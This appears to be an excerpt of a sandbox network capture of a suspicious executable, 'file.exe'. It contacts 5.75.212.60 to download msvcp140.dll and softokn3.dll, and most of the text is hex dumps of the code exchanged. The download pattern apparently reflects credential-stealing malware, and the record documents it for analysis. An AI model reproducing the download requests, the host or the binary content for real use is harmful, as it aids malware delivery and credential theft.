2024-07-26 09:26:47 UTC	16384	IN	Data Raw: 45 a8 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 bd 05 00 00 50 e8 7a d3 01 00 83 c4 04 e9 e1 f9 ff ff 8b 45 90 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 b4 05 00 00 50 e8 57 d3 01 00 83 c4 04 e9 dc f9 ff ff 8b 85 78 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 a8 05 00 00 50 e8 31 d3 01 00 83 c4 04 e9 d4 f9 ff ff 8b 85 60 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 9c 05 00 00 50 e8 0b d3 01 00 83 c4 04 e9 d2 f9 ff ff 8b 85 48 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 90 05 00 00 50 e8 e5 d2 01 00 83 c4 04 e9 d6 f9 ff ff 8b b5 24 ff ff ff 89 0e 8b 85 2c ff ff ff 89 46 04 8b 4d f0 31 e9 e8 52 27 03 00 89 f0 81 c4 d0 00 00 00 5e 5f 5b 5d c3 89 f1 89 fa ff b5 30 ff ff ff e9 30 f4 ff ff 89 f1 81 c6 4c ff ff ff 39 c8 74 63 8d 8d 3c ff ff Data Ascii: EPzEPWxP1`PHP$,FM1R'^_[]00L9tc<
2024-07-26 09:26:47 UTC	16384	IN	Data Raw: c8 ba cd cc cc cc f7 e2 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 03 b9 59 17 b7 d1 89 f8 f7 e1 89 d1 c1 e9 0d 89 c8 ba cd cc cc cc f7 e2 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 02 89 f8 c1 e8 05 b9 c5 5a 7c 0a f7 e1 89 d1 c1 e9 07 bb ff 00 00 00 89 c8 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c1 80 c9 30 ba 83 de 1b 43 89 f8 f7 e2 8b 06 8b 7d 08 88 4c 38 01 c1 ea 12 89 d0 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c2 80 ca 30 89 f1 8b 06 8b 75 08 88 14 06 8b 39 8d 47 07 89 01 83 c7 0d b9 cd cc cc cc 8b 75 ec 89 f0 f7 e1 89 d1 c1 e9 03 8d 04 09 8d 04 80 89 f3 29 c3 80 cb 30 89 c8 ba cd cc cc cc f7 e2 8b 45 08 88 1c 38 89 c3 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 7d 0c 8b 07 88 4c 18 05 b9 1f 85 Data Ascii: )0LY)0LZ\|!i(0C}L8!i(0u9Gu)0E8)0}L
2024-07-26 09:26:47 UTC	16384	IN	Data Raw: 04 89 45 f0 8b 06 8b 4e 04 85 c9 0f 8e b3 00 00 00 31 c9 8d 14 08 83 c2 0c f2 0f 10 42 f4 8b 5d f0 f2 0f 11 04 0b 8b 7a fc c7 42 fc 00 00 00 00 89 7c 0b 08 8b 1e 8b 7e 04 8d 3c 7f 8d 3c bb 83 c1 0c 39 fa 72 cd e9 81 00 00 00 8b 06 8d 0c 49 8d 0c 88 89 4d f0 31 d2 8d 1c 10 83 c3 0c f2 0f 10 43 f4 f2 0f 11 04 17 8b 4b fc c7 43 fc 00 00 00 00 89 4c 17 08 83 c2 0c 3b 5d f0 72 da 8b 46 04 85 c0 0f 8e 02 ff ff ff 8b 1e 8d 04 40 8d 04 83 89 45 f0 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 ec 52 01 00 83 c4 04 83 c3 0c 3b 5d f0 0f 83 d4 fe ff ff eb db 31 c0 40 89 45 ec e9 27 ff ff ff 8d 0c 49 8d 3c 88 89 c3 39 fb 73 20 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 b0 52 01 00 83 c4 04 83 c3 0c 39 fb 72 e2 8b 1e 53 e8 9e 52 01 00 83 c4 04 8b 45 f0 89 06 8b Data Ascii: EN1B]zB\|~<<9rIM1CKCL;]rF@ECCtPR;]1@E'I<9s CCtPR9rSRE
2024-07-26 09:26:47 UTC	16384	IN	Data Raw: ff ff 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 1b 89 c8 e9 b3 fe ff ff 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 07 89 c8 e9 c2 fe ff ff ff 15 b0 bf 08 10 cc cc cc cc 55 89 e5 57 56 89 ce 8b 79 20 85 ff 74 28 f0 ff 4f 38 75 22 8b 4f 14 83 f9 10 73 5f c7 47 10 00 00 00 00 c7 47 14 0f 00 00 00 c6 07 00 57 e8 2d 13 01 00 83 c4 04 8b 7e 18 c7 46 18 00 00 00 00 85 ff 74 1c 8b 07 85 c0 74 0d 50 ff 15 04 be 08 10 c7 07 00 00 00 00 57 e8 03 13 01 00 83 c4 04 8b 46 08 85 c0 75 2f 8b 46 04 85 c0 74 09 50 e8 ec 12 01 00 83 c4 04 5e 5f 5d c3 8b 07 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 76 20 50 e8 cf 12 01 00 83 c4 04 eb 86 c7 05 f4 f8 08 10 1a 2b 08 10 cc b9 18 00 00 00 e8 0d 80 02 00 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 04 89 c8 eb cf ff 15 b0 bf 08 10 cc cc cc cc cc cc cc cc cc Data Ascii: H) sH) sUWVy t(O8u"Os_GGW-~FttPWFu/FtP^_]v P+H) s
2024-07-26 09:26:47 UTC	16384	IN	Data Raw: 85 db 0f 85 ad 07 00 00 c7 44 24 30 00 00 00 00 c7 44 24 34 07 00 00 00 66 c7 44 24 20 00 00 57 e8 e1 37 06 00 83 c4 04 89 c6 83 f8 07 8b 5c 24 04 0f 87 4b 03 00 00 8d 44 24 20 89 70 10 89 f1 01 f1 51 57 50 e8 fe 37 06 00 83 c4 0c 66 c7 44 74 20 00 00 8b 44 24 30 8b 4c 24 34 89 ca 29 c2 83 fa 11 0f 82 fd 05 00 00 8d 50 11 89 54 24 30 83 f9 08 72 06 8b 4c 24 20 eb 04 8d 4c 24 20 0f b7 15 de 4d 08 10 66 89 54 41 20 0f 10 05 ce 4d 08 10 0f 11 44 41 10 0f 10 05 be 4d 08 10 0f 11 04 41 66 c7 44 41 22 00 00 bf 10 00 00 00 57 e8 60 3e 00 00 83 c4 04 89 c6 8b 45 0c f2 0f 10 40 20 f2 0f 11 06 f2 0f 10 40 28 f2 0f 11 46 08 83 7c 24 34 08 72 06 8b 44 24 20 eb 04 8d 44 24 20 57 56 6a 03 6a 00 50 53 ff 15 2c e3 08 10 89 c3 56 e8 9e d2 00 00 83 c4 04 8b 4c 24 34 83 f9 Data Ascii: D$0D$4fD$ W7\$KD$ pQWP7fDt D$0L$4)PT$0rL$ L$ MfTA MDAMAfDA"W`>E@ @(F\|$4rD$ D$ WVjjPS,VL$4
2024-07-26 09:26:47 UTC	16384	IN	Data Raw: 08 00 00 00 85 ff 0f 84 0b 06 00 00 83 fb 08 0f 86 cc 02 00 00 83 c3 0f 89 d8 83 e0 f0 89 44 24 1c c1 eb 04 c1 e3 05 8d 34 1f 83 c6 50 80 7f 3c 00 89 7c 24 10 89 5c 24 18 74 0a 83 7f 40 00 0f 84 29 06 00 00 8d 47 0c 89 44 24 20 50 ff 15 30 be 08 10 8b 16 85 d2 0f 84 38 01 00 00 83 7a 08 00 0f 84 2e 01 00 00 8b 4a 04 8b 74 8a 0c 85 f6 0f 84 eb 01 00 00 8b 5f 40 85 db 75 60 0f bc fe 89 cb c1 e3 05 09 fb 0f bb fe 8b 7c 24 10 8b 44 24 18 0f af 5c 07 58 8b 44 07 68 89 74 8a 0c 01 d0 01 c3 83 42 08 ff 85 db 0f 84 a2 05 00 00 8b 44 24 1c 01 47 2c ff 74 24 20 ff 15 b0 be 08 10 85 db 0f 84 93 05 00 00 8b 4c 24 60 31 e9 e8 51 e7 01 00 89 d8 8d 65 f4 5e 5f 5b 5d c3 89 4c 24 04 89 54 24 14 8b 0b 8b 7b 04 89 3c 24 0f a4 cf 17 89 c8 c1 e0 17 31 c8 8b 53 0c 33 3c 24 89 Data Ascii: D$4P<\|$\$t@)GD$ P08z.Jt_@u`\|$D$\XDhtBD$G,t$ L$`1Qe^_[]L$T${<$1S3<$
2024-07-26 09:26:47 UTC	16384	IN	Data Raw: fe 83 e0 01 09 c8 89 42 04 89 13 8d 44 24 58 e9 75 ff ff ff c7 44 24 3c 00 00 00 00 8b 5c 24 04 e9 a5 fe ff ff 31 d2 a8 10 0f 44 54 24 18 31 c9 39 f2 0f 97 c0 0f 82 e1 fe ff ff 88 c1 e9 d5 fe ff ff b0 01 e9 ec fd ff ff 8b 46 04 83 f8 01 0f 87 13 01 00 00 89 f2 8b 06 31 c9 85 c0 8b 74 24 1c 0f 84 39 04 00 00 8b 48 04 83 e1 fe 89 0a 89 d1 83 e1 fe 89 54 24 04 8b 50 04 83 e2 01 09 ca 89 50 04 8b 54 24 04 8b 52 04 83 e2 01 09 ca 89 50 04 8b 4c 24 04 80 49 04 01 83 60 04 01 89 c1 e9 fb 03 00 00 c7 44 24 28 00 00 00 00 e9 f9 fd ff ff 8d 74 24 54 89 f1 e8 37 0b fe ff 8b 1e e9 47 ff ff ff 83 e3 fe 89 58 04 89 d6 8b 1a 85 db 0f 84 fb 01 00 00 8b 43 04 83 e0 fe 89 06 89 f0 83 e0 fe 8b 4b 04 83 e1 01 09 c1 89 4b 04 8b 4e 04 89 c8 83 e0 fe 0f 84 c0 01 00 00 8b 10 83 Data Ascii: BD$XuD$<\$1DT$19F1t$9HT$PPT$RPL$I`D$(t$T7GXCKKN
2024-07-26 09:26:47 UTC	16384	IN	Data Raw: 00 00 00 0f 44 4c 24 04 31 db 39 c1 0f 97 c1 72 d1 88 cb 8b 50 04 83 e2 fe eb cc 83 e3 fe 89 1a 89 d6 83 e6 fe 8b 18 8b 48 04 83 e1 01 09 f1 89 48 04 85 db 0f 84 8d 0a 00 00 80 63 04 fe 8b 74 24 14 39 16 75 07 89 06 e9 69 ff ff ff 83 e0 fe 8b 56 04 83 e2 01 8d 0c 02 89 4e 04 85 c0 0f 84 25 0a 00 00 8b 08 83 e1 fe 09 d1 89 4e 04 89 30 8b 4e 04 83 e1 01 8b 50 04 83 e2 fe 09 ca 89 50 04 80 4e 04 01 85 ff 0f 84 1f 0a 00 00 39 37 0f 84 a0 05 00 00 e9 e0 05 00 00 8b 4c 24 1c 8b 19 89 d9 ba 00 f0 ff ff 21 d1 8b 70 08 21 d6 31 d2 39 f1 0f 97 c2 b9 ff ff ff ff 0f 42 d1 85 d2 0f 85 59 05 00 00 e9 c0 05 00 00 89 c1 85 d2 0f 85 c2 fe ff ff 8b 54 24 04 c7 02 00 00 00 00 8b 4c 24 08 c7 44 b1 14 01 00 00 00 83 fb 01 0f 84 17 02 00 00 89 10 8b 54 24 20 8b 44 24 48 85 c0 Data Ascii: DL$19rPHHct$9uiVN%N0NPPN97L$!p!19BYT$L$DT$ D$H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49732	5.75.212.60	443	5012	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 09:26:49 UTC	242	OUT	GET /msvcp140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 5.75.212.60 Connection: Keep-Alive Cache-Control: no-cache
2024-07-26 09:26:49 UTC	260	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 26 Jul 2024 09:26:49 GMT Content-Type: application/octet-stream Content-Length: 450024 Connection: close Last-Modified: Friday, 26-Jul-2024 09:26:49 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-07-26 09:26:49 UTC	16124	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_
2024-07-26 09:26:49 UTC	16384	IN	Data Raw: 2d 00 62 00 61 00 00 00 68 00 72 00 2d 00 68 00 72 00 00 00 68 00 75 00 2d 00 68 00 75 00 00 00 68 00 79 00 2d 00 61 00 6d 00 00 00 69 00 64 00 2d 00 69 00 64 00 00 00 69 00 73 00 2d 00 69 00 73 00 00 00 69 00 74 00 2d 00 63 00 68 00 00 00 69 00 74 00 2d 00 69 00 74 00 00 00 6a 00 61 00 2d 00 6a 00 70 00 00 00 6b 00 61 00 2d 00 67 00 65 00 00 00 6b 00 6b 00 2d 00 6b 00 7a 00 00 00 6b 00 6e 00 2d 00 69 00 6e 00 00 00 6b 00 6f 00 2d 00 6b 00 72 00 00 00 6b 00 6f 00 6b 00 2d 00 69 00 6e 00 00 00 00 00 6b 00 79 00 2d 00 6b 00 67 00 00 00 6c 00 74 00 2d 00 6c 00 74 00 00 00 6c 00 76 00 2d 00 6c 00 76 00 00 00 6d 00 69 00 2d 00 6e 00 7a 00 00 00 6d 00 6b 00 2d 00 6d 00 6b 00 00 00 6d 00 6c 00 2d 00 69 00 6e 00 00 00 6d 00 6e 00 2d 00 6d 00 6e 00 00 00 6d 00 72 Data Ascii: -bahr-hrhu-huhy-amid-idis-isit-chit-itja-jpka-gekk-kzkn-inko-krkok-inky-kglt-ltlv-lvmi-nzmk-mkml-inmn-mnmr
2024-07-26 09:26:49 UTC	16384	IN	Data Raw: 04 00 00 00 04 8b 00 10 18 8b 00 10 78 8a 00 10 e8 7b 00 10 04 7c 00 10 00 00 00 00 d8 4c 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 f4 8a 00 10 00 00 00 00 01 00 00 00 04 00 00 00 44 8b 00 10 58 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 14 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 34 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 84 8b 00 10 98 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 34 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 74 8b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 58 4d 06 10 c8 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 d8 8b 00 10 ec 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 58 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff Data Ascii: x{\|L@DX}0}}M@4}0}}4M@tXM}0}}XM
2024-07-26 09:26:49 UTC	16384	IN	Data Raw: 0f bf 45 fc d9 5d e8 d9 45 10 d9 45 e8 d9 c0 89 45 f4 de ea d9 c9 d9 5d e8 d9 45 e8 d9 55 10 d9 ee da e9 df e0 f6 c4 44 7b 05 dd d8 d9 45 10 8d 45 ec 50 8d 45 f8 50 d9 5d ec e8 fc fa ff ff 59 59 3b f3 0f 8c aa fd ff ff eb 10 8d 4e 01 d9 1c b7 3b cb 7d 06 d9 ee d9 5c b7 04 5e 8b c7 5f 5b c9 c3 55 8b ec 51 56 33 f6 39 75 14 7e 37 d9 ee 57 8b 7d 10 d9 04 b7 d9 5d fc d9 45 fc dd e1 df e0 dd d9 f6 c4 44 7b 1a 51 d9 1c 24 ff 75 0c ff 75 08 e8 97 fc ff ff d9 ee 83 c4 0c 46 3b 75 14 7c d2 dd d8 5f 8b 45 08 5e c9 c3 55 8b ec 51 51 8b 4d 0c 85 c9 75 04 d9 ee c9 c3 8b 55 08 83 f9 01 0f 84 9d 00 00 00 d9 02 d9 5d fc d9 45 fc d9 ee dd e1 df e0 f6 c4 44 0f 8b 82 00 00 00 d9 42 04 d9 5d fc d9 45 fc dd e1 df e0 f6 c4 44 7b 6e 83 f9 02 74 5d d9 42 08 d9 5d fc d9 45 fc dd Data Ascii: E]EEE]EUD{EEPEP]YY;N;}\^_[UQV39u~7W}]ED{Q$uuF;u\|_E^UQQMuU]EDB]ED{nt]B]E
2024-07-26 09:26:49 UTC	16384	IN	Data Raw: 0f b7 06 83 f8 61 74 05 83 f8 41 75 0f 03 f7 0f b7 06 66 3b c1 74 0e 66 3b c2 74 09 8b 45 08 33 db 8b 30 eb 43 03 f7 6a 04 5b 89 75 f8 66 83 3e 28 89 5d f4 75 32 8b de 03 df 68 07 01 00 00 0f b7 03 50 ff 15 ac 72 06 10 59 59 85 c0 75 e9 0f b7 03 83 f8 5f 74 e1 89 5d f8 8b 5d f4 83 f8 29 75 06 8b 75 f8 83 c6 02 8b 45 0c 85 c0 74 02 89 30 8b 45 08 5f 89 30 8b c3 5e 5b c9 c3 55 8b ec 83 ec 48 a1 c0 41 06 10 33 c5 89 45 fc 6b 4d 18 07 33 d2 8b 45 10 53 8b 5d 14 56 8b 75 0c 89 75 d0 89 45 b8 89 55 bc 89 55 c4 89 55 c0 89 4d cc 57 8b fa 83 f9 23 7e 06 6a 23 59 89 4d cc 6a 30 58 89 13 89 53 04 66 39 06 75 12 c7 45 c4 01 00 00 00 83 c6 02 66 39 06 74 f8 89 75 d0 0f b7 0e b8 b8 2d 00 10 89 4d c8 8b 4d cc c7 45 d4 16 00 00 00 8b 75 c8 66 39 30 8b 75 d0 74 0b 83 c0 Data Ascii: atAuf;tf;tE30Cj[uf>(]u2hPrYYu_t]])uuEt0E_0^[UHA3EkM3ES]VuuEUUUMW#~j#YMj0XSf9uEf9tu-MMEuf90ut
2024-07-26 09:26:49 UTC	16384	IN	Data Raw: 03 8d 41 1c c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 09 e7 03 10 64 a1 00 00 00 00 50 a1 c0 41 06 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 e8 79 7b 00 00 50 e8 71 d8 ff ff 59 8b 40 0c 8b 4d f4 64 89 0d 00 00 00 00 59 c9 c3 cc cc 55 8b ec 83 79 38 00 8b 45 08 75 03 83 c8 04 ff 75 0c 50 e8 28 00 00 00 5d c2 08 00 cc cc cc cc 55 8b ec 6a 00 ff 75 08 e8 13 00 00 00 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 08 83 ec 1c 83 e0 17 89 41 0c 8b 49 10 56 23 c8 74 43 80 7d 0c 00 75 42 f6 c1 04 74 07 be 78 54 00 10 eb 0f be 90 54 00 10 f6 c1 02 75 05 be a8 54 00 10 8d 45 f8 6a 01 50 e8 f7 13 00 00 59 59 50 56 8d 4d e4 e8 bc e2 ff ff 68 a4 1a 04 10 8d 45 e4 50 eb 09 5e c9 c2 08 00 6a 00 6a 00 e8 f0 93 02 00 cc 53 57 Data Ascii: AUjhdPA3PEdy{PqY@MdYUy8EuuP(]Uju]UEAIV#tC}uBtxTTuTEjPYYPVMhEP^jjSW
2024-07-26 09:26:49 UTC	16384	IN	Data Raw: 89 45 fc 89 5f 10 e8 bd 54 02 00 8b 45 f8 83 c4 10 c6 04 1e 00 83 f8 10 72 0b 40 50 ff 37 e8 54 95 ff ff 59 59 89 37 8b c7 5f 5e 5b c9 c2 0c 00 e8 b3 be ff ff cc 55 8b ec 83 ec 0c 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d fc 3b c2 72 69 8b 43 14 8d 3c 11 57 8b cb 89 45 f4 e8 88 b1 ff ff 8b f0 8d 4e 01 51 e8 b2 94 ff ff 59 ff 75 18 89 7b 10 8d 4d 0c ff 75 14 8b 7d f4 89 45 f8 89 73 14 ff 75 10 ff 75 fc 83 ff 10 72 17 8b 33 56 50 e8 6b 03 00 00 8d 47 01 50 56 e8 d2 94 ff ff 59 59 eb 07 53 50 e8 56 03 00 00 8b 45 f8 5f 89 03 8b c3 5e 5b c9 c2 14 00 e8 25 be ff ff cc 55 8b ec 83 ec 10 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d f0 3b c2 0f 82 8f 00 00 00 8b 43 14 8d 3c 11 57 8b cb 89 45 fc e8 f6 b0 ff ff 8b f0 8d 4e 01 51 e8 Data Ascii: E_TEr@P7TYY7_^[UUSVWK+M;riC<WENQYu{Mu}Esuur3VPkGPVYYSPVE_^[%UUSVWK+M;C<WENQ
2024-07-26 09:26:49 UTC	16384	IN	Data Raw: 01 75 04 3b d7 74 3a 8b 5d 08 6a 04 59 89 4d d4 53 33 c0 03 04 cb 52 13 7c cb 04 56 57 50 e8 f1 02 02 00 5b 8b 5d 08 8b f9 8b 4d d4 8b 75 d8 89 54 cb 04 8b 55 e8 89 04 cb 83 e9 01 89 4d d4 79 cf 5f 5e 5b c9 c3 55 8b ec 51 56 8b 75 14 33 d2 85 f6 7e 5f 53 8b 5d 08 29 5d 10 57 8b fb 89 75 fc 8b 5d 10 8b 0c 3b 03 0f 8b 44 3b 04 13 47 04 03 ca 89 0f 8d 7f 08 83 d0 00 8b d0 89 57 fc 83 67 fc 00 83 ee 01 75 dc 0b c6 8b 5d 08 74 22 8b 4d fc 3b 4d 0c 7d 1a 01 14 cb 8b 54 cb 04 13 d6 33 f6 89 54 cb 04 8b c2 21 74 cb 04 41 0b c6 75 e1 5f 5b 5e c9 c3 55 8b ec 8b 55 08 56 8b 75 0c 83 c2 f8 8d 14 f2 8b 02 0b 42 04 75 0b 8d 52 f8 4e 8b 0a 0b 4a 04 74 f5 8b c6 5e 5d c3 55 8b ec 53 56 33 db 33 f6 39 5d 0c 7e 30 57 8b 7d 08 ff 75 14 ff 75 10 ff 74 f7 04 ff 34 f7 e8 73 03 Data Ascii: u;t:]jYMS3R\|VWP[]MuTUMy_^[UQVu3~_S])]Wu];D;GWgu]t"M;M}T3T!tAu_[^UUVuBuRNJt^]USV339]~0W}uut4s
2024-07-26 09:26:49 UTC	16384	IN	Data Raw: cc cc cc cc 55 8b ec 51 8b 45 0c 56 8b f1 89 75 fc 89 46 04 c7 06 7c 69 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 8b 45 0c 56 8b f1 89 75 fc 89 46 04 c7 06 e8 65 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 56 8b f1 ff 76 0c c7 06 4c 68 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 56 8b f1 ff 76 0c c7 06 8c 66 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc 56 8b f1 c7 06 50 69 00 10 e8 e2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 c7 06 90 67 00 10 e8 c2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 ff 76 08 c7 06 7c 69 00 Data Ascii: UQEVuF\|ifrjFqY^UQEVuFefrjFqY^VvLhqY(R^VvfqY(R^VPiq(R^Vgq(R^Vv\|i
2024-07-26 09:26:49 UTC	16384	IN	Data Raw: 73 00 00 84 c0 0f 85 d3 00 00 00 8b 5d ec 80 7f 04 00 75 07 8b cf e8 85 26 00 00 0f b7 47 06 50 ff b5 74 ff ff ff e8 9a a8 ff ff 59 59 83 f8 0a 73 3c 8a 80 2c 6a 00 10 8b 4d 8c 88 85 64 ff ff ff ff b5 64 ff ff ff e8 5f 18 ff ff 8b 4d d8 8d 45 d8 83 fb 10 72 02 8b c1 80 3c 30 7f 74 4c 8d 45 d8 83 fb 10 72 02 8b c1 fe 04 30 eb 3a 8d 45 d8 83 fb 10 72 03 8b 45 d8 80 3c 30 00 74 45 80 7f 04 00 0f b7 47 06 75 0b 8b cf e8 10 26 00 00 0f b7 47 06 66 3b 85 60 ff ff ff 75 27 6a 00 8d 4d d8 e8 04 18 ff ff 46 8b 5d ec 8b cf e8 24 11 00 00 ff 75 98 8b cf e8 de 72 00 00 84 c0 0f 84 4a ff ff ff 8b 5d 90 85 f6 74 13 83 7d ec 10 8d 45 d8 72 03 8b 45 d8 80 3c 30 00 7e 52 46 8a 45 a7 83 7d d4 10 8d 55 c0 72 03 8b 55 c0 84 c0 75 49 85 f6 74 5e 8a 0a 80 f9 7f 74 57 83 ee 01 Data Ascii: s]u&GPtYYs<,jMdd_MEr<0tLEr0:ErE<0tEGu&Gf;`u'jMF]$urJ]t}ErE<0~RFE}UrUuIt^tW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49733	5.75.212.60	443	5012	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 09:26:51 UTC	242	OUT	GET /softokn3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 5.75.212.60 Connection: Keep-Alive Cache-Control: no-cache
2024-07-26 09:26:51 UTC	260	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 26 Jul 2024 09:26:51 GMT Content-Type: application/octet-stream Content-Length: 257872 Connection: close Last-Modified: Friday, 26-Jul-2024 09:26:51 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-07-26 09:26:51 UTC	16124	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSw
2024-07-26 09:26:51 UTC	16384	IN	Data Raw: 85 f0 fe ff ff 00 00 00 00 8d 85 ec fe ff ff 89 85 f4 fe ff ff c7 85 f8 fe ff ff 04 00 00 00 8d 85 f0 fe ff ff 6a 01 50 53 57 e8 85 af 00 00 83 c4 10 89 c6 85 c0 75 3f 8b 85 ec fe ff ff 83 c0 fd 83 f8 01 77 25 be 30 00 00 00 83 3d 28 9a 03 10 00 75 23 83 3d 50 90 03 10 00 74 0e be 01 01 00 00 f6 05 20 9a 03 10 01 74 0c 53 57 e8 e2 b9 00 00 83 c4 08 89 c6 83 3d 2c 9a 03 10 00 0f 84 5e ff ff ff 8b 85 ec fe ff ff 83 c0 fe 83 f8 02 0f 87 4c ff ff ff 56 53 57 68 85 6b 03 10 68 00 01 00 00 8d 85 f0 fe ff ff 50 ff 15 1c 7c 03 10 83 c4 18 e9 2a ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 14 90 03 10 31 e8 89 45 f0 c7 85 ec fe ff ff 00 00 00 00 be 30 00 00 00 83 3d 28 9a 03 10 00 74 17 8b 4d f0 31 e9 e8 28 8b 02 00 89 f0 81 Data Ascii: jPSWu?w%0=(u#=Pt tSW=,^LVSWhkhP\|*USWV1E0=(tM1(
